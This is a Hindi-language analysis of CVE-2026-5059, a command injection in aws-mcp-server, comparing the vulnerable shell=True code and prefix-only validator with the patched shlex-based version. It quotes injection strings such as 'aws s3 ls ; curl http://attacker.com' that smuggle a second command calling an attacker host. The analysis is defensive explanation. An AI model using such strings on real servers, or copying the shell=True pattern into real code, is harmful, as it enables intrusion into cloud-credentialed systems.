
CVE-2026-5059 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो aws-mcp-server में shell=True और अपूर्ण सत्यापन के माध्यम से कमांड इंजेक्शन है, जिसमें असुरक्षित और पैच किए गए कोड का विश्लेषण शामिल है।
CVE-2026-5059 कोड में कहाँ है? यह भेद्यता दो फ़ाइलों में है जो मिलकर काम करती हैं:
फ़ाइल 1: tools.py — मूल कारण पुराने संस्करण ने execute_piped_command() में shell=True का उपयोग किया था: python# OLD VULNERABLE CODE process = subprocess.run( command, # ← raw string passed to shell shell=True, # ← THIS is the problem ... ) जब shell=True होता है, तो OS शेल पूरी स्ट्रिंग की व्याख्या करता है जिसमें ;, &&, ||, बैकटिक्स शामिल हैं — इसलिए ; के बाद जो कुछ भी होता है वह एक अलग कमांड के रूप में चलता है।
फ़ाइल 2: security.py — अपूर्ण गार्ड वैलिडेटर केवल यह जाँचता था कि कमांड aws से शुरू होती है: python# OLD VULNERABLE CODE def validate_pipe_command(command: str): if not command.strip().startswith("aws"): raise ValueError("Must start with aws") # ← stops here, no check on what comes after the pipe इसलिए aws s3 ls ; curl http://attacker.com वैलिडेशन पास कर गया — aws से शुरू होता है — फिर shell=True ने दोनों भागों को निष्पादित किया।
वर्तमान संस्करण (v1.7.0) अलग क्यों है आज के वास्तविक कोड को देखने पर, दोनों समस्याएँ गायब हैं: python# CURRENT CODE in cli_executor.py cmd_parts = shlex.split(command) # splits into a list subprocess.run(cmd_parts, shell=False) # list-based, no shell interpretation और security.py को पूरी तरह हटा दिया गया — इसे OS सैंडबॉक्स (Landlock/bwrap/Seatbelt) से बदल दिया गया। अब ; हानिरहित है: "aws s3 ls ; curl http://evil.com" → shlex.split → ['aws', 's3', 'ls', ';', 'curl', 'http://evil.com'] → subprocess को ';' aws के लिए एक शाब्दिक आर्ग्युमेंट के रूप में मिलता है → AWS CLI इसे अनदेखा करता है, कोई दूसरी कमांड नहीं चलती
एक पंक्ति में सारांश भेद्य संस्करणवर्तमान v1.7.0निष्पादनshell=True + स्ट्रिंगshell=False + सूचीवैलिडेशनकेवल startswith("aws")OS-स्तरीय सैंडबॉक्स; हैंडलिंगशेल द्वारा निष्पादितशाब्दिक टेक्स्ट के रूप में व्यवहार CVE पुराने संस्करण के विरुद्ध दर्ज किया गया था। ZDI ने इसे 0-day के रूप में प्रकाशित किया क्योंकि विक्रेता ने रिपोर्ट अस्वीकार कर दी — लेकिन CVE प्रकाशित होने से पहले ही आर्किटेक्चर shell=True से हट चुका था।